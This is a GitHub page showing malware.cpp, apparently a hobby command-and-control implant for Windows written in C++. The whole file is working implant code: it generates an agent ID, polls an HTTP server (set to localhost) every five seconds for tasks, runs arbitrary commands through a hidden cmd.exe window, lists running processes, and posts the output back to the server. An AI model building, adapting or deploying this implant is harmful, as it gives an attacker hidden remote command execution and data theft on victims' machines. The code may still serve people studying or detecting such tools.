-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathmalware.cpp
More file actions
340 lines (288 loc) · 10.2 KB
/
malware.cpp
File metadata and controls
340 lines (288 loc) · 10.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include <random>
#include <TlHelp32.h>
#include <string>
#include <Psapi.h>
#include <sstream>
#include <locale>
#include <codecvt>
#include <map>
#include <regex>
#pragma comment(lib, "wininet.lib")
std::string g_url;
std::string g_endpoint;
std::string g_uniqueId;
bool g_running;
int g_interval;
LPCSTR StringToLPCSTR(const std::string& s) {
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
return (LPCSTR)buf;
}
LPCWSTR StringToLPCWSTR(const std::string& s) {
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
return buf;
}
std::string VectorToString(const std::vector<std::string>& v) {
std::string result = "";
for (const auto& s : v) {
result += s + " ";
}
return result;
}
std::string GetContentFromURL(const char* url)
{
HINTERNET hSession = InternetOpenA("MyAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hSession)
{
std::cerr << "Error: InternetOpenA() failed, Error code: " << GetLastError() << std::endl;
return "";
}
HINTERNET hConnect = InternetConnectA(hSession, "localhost", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
if (!hConnect)
{
std::cerr << "Error: InternetConnectA() failed, Error code: " << GetLastError() << std::endl;
InternetCloseHandle(hSession);
return "";
}
HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", url, NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 1);
if (!hRequest)
{
std::cerr << "Error: HttpOpenRequestA() failed, Error code: " << GetLastError() << std::endl;
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
return "";
}
if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0))
{
std::cerr << "Error: HttpSendRequestA() failed, Error code: " << GetLastError() << std::endl;
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
return "";
}
char buffer[1024];
DWORD bytesRead;
std::string content;
while (InternetReadFile(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead != 0)
{
buffer[bytesRead] = '\0';
content += buffer;
}
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
return content;
}
std::string GenerateUniqueId()
{
static std::mt19937 generator(std::random_device{}());
static std::uniform_int_distribution<int> distribution(0, 15);
static const char* const charset = "0123456789ABCDEF";
std::string id;
id.resize(32);
for (int i = 0; i < 32; i++)
{
id[i] = charset[distribution(generator)];
}
return id;
}
std::string GetProcessList()
{
std::wostringstream processList;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe))
{
processList << L"Process Name\tPID\n";
do
{
processList << pe.szExeFile << L'\t' << pe.th32ProcessID << L'\n';
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
std::wstring wstr = processList.str();
std::wstring_convert<std::codecvt_utf8<wchar_t>, wchar_t> convert;
return convert.to_bytes(wstr);
}
std::string ExecuteCommand(const std::string& args)
{
std::ostringstream output;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
HANDLE hReadPipe, hWritePipe;
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
{
STARTUPINFO si;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
std::wstring cmd = L"cmd.exe /c " + std::wstring(args.begin(), args.end());
if (CreateProcess(NULL, (LPWSTR)cmd.c_str(), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(hWritePipe);
char buffer[1024];
DWORD bytesRead;
while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0)
{
buffer[bytesRead] = '\0';
output << buffer;
}
CloseHandle(hReadPipe);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
}
else
{
DWORD errorCode = GetLastError();
std::cerr << "CreateProcess failed with error code: " << errorCode << std::endl;
}
}
else
{
DWORD errorCode = GetLastError();
std::cerr << "CreatePipe failed with error code: " << errorCode << std::endl;
}
return output.str();
}
std::map<std::string, std::string> ParseTask(const std::string& data) {
std::map<std::string, std::string> result;
std::regex pattern("\"([a-z_]+)\"[ ]*:[ ]*\"([^\"]+)\"");
std::smatch matches;
std::string::const_iterator iterStart = data.begin();
std::string::const_iterator iterEnd = data.end();
while (std::regex_search(iterStart, iterEnd, matches, pattern)) {
result[matches[1]] = matches[2];
iterStart = matches[0].second;
}
return result;
}
std::string RunTask(const std::map<std::string, std::string>& task)
{
if (task.at("task_id") == "99")
{
return "No task to complete";
}
std::string cmd = task.at("cmd");
std::vector<std::string> args;
if (task.count("args") > 0)
{
std::stringstream ss(task.at("args"));
std::string item;
while (std::getline(ss, item, ','))
{
args.push_back(item);
}
}
std::string output;
if (cmd == "run")
{
output = ExecuteCommand(VectorToString(args));
}
else if (cmd == "ps")
{
output = GetProcessList();
}
else
{
output = "Unsupported command";
}
return output;
}
std::string SendOutput(std::string request_data) {
HINTERNET hInternet = InternetOpen(L"MyApp", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hInternet) {
return "Error opening Internet session.";
}
HINTERNET hConnect = InternetConnect(hInternet, L"localhost", INTERNET_DEFAULT_HTTP_PORT, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return "Error connecting to host.";
}
LPCWSTR accept_types[2] = { L"text/*", NULL };
HINTERNET hRequest = HttpOpenRequest(hConnect, L"POST", StringToLPCWSTR(g_endpoint), NULL, NULL, accept_types, 0, 0);
if (!hRequest) {
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return "Error creating request handle.";
}
std::wstring wrequest_data(request_data.begin(), request_data.end());
LPCWSTR header = L"Content-Type: application/json\r\n";
BOOL sent = HttpSendRequest(hRequest, header, wcslen(header), (LPVOID)wrequest_data.c_str(), wrequest_data.size());
if (!sent) {
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return "Error sending request.";
}
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return "Output sent successfully.\n";
}
bool HandleNoTask(const std::string& output) {
if (output == "No task to complete") {
std::cout << "No task to complete. Continuing..." << std::endl;
return true;
}
}
int main()
{
g_running = true;
g_uniqueId = GenerateUniqueId();
g_url = "http://localhost/todo?agent_id=" + g_uniqueId;
g_endpoint = "/todo?agent_id=" + g_uniqueId;
g_interval = 5000;
std::cout << "Agent Config" << std::endl;
std::cout << "---------" << std::endl;
std::cout << "New agent id: " + g_uniqueId << std::endl;
std::cout << "Callback URI: " + g_url << std::endl;
std::cout << "---------" << std::endl;
std::cout << "[+] Running" << std::endl;
while (g_running)
{
std::cout << "[+] Checking for tasks" << std::endl;
std::string content = GetContentFromURL(g_endpoint.c_str());
std::cout << "[+] Task collected: " + content << std::endl;
// std::cout << content << std::endl;
std::cout << "[+] Parsing task" << std::endl;
std::map<std::string, std::string> task = ParseTask(content);
std::cout << "\targs: " << task["args"] << std::endl;
std::cout << "\tcmd: " << task["cmd"] << std::endl;
std::cout << "\ttask_id: " << task["task_id"] << std::endl;
std::string task_id = task.at("task_id");
std::cout << "[+] Sending to task handler" << std::endl;
std::string output = RunTask(task);
if (output == "No task to complete") {
std::cout << "No task to complete" << std::endl;
Sleep(5000);
continue;
}
std::string request_data = "{\"task_id\": \"" + task_id + "\", \"results\": \"" + output + "\"}";
std::cout << request_data << std::endl;
std::cout << "[+] Posting results" << std::endl;
std::cout << SendOutput(request_data);
Sleep(5000);
}
return 0;
}